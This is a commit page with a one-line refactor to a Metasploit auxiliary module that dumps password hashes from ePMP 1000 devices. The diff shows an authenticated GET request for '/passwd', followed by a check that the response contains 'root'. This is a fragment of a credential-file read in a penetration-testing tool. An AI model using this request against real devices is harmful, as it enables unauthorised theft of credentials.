Skip to content

Commit e8460c3

Browse files
committed
Minor edit
1 parent fafd353 commit e8460c3

File tree

1 file changed

+1
-3
lines changed

1 file changed

+1
-3
lines changed

modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -192,9 +192,7 @@ def do_login(user, pass)
192192
}
193193
)
194194

195-
file_location = '/'
196-
file_name = 'passwd'
197-
res = send_request_cgi({ 'method' => 'GET', 'uri' => "/#{file_location}/#{file_name}", 'cookie' => cookie2, 'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Connection' => 'close' } }, 25)
195+
res = send_request_cgi({ 'method' => 'GET', 'uri' => '/passwd', 'cookie' => cookie2, 'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Connection' => 'close' } }, 25)
198196

199197
if res && res.code == 200 && res.body =~ /root/
200198
vprint_status('++++++++++++++++++++++++++++++++++++++')

0 commit comments

Comments
 (0)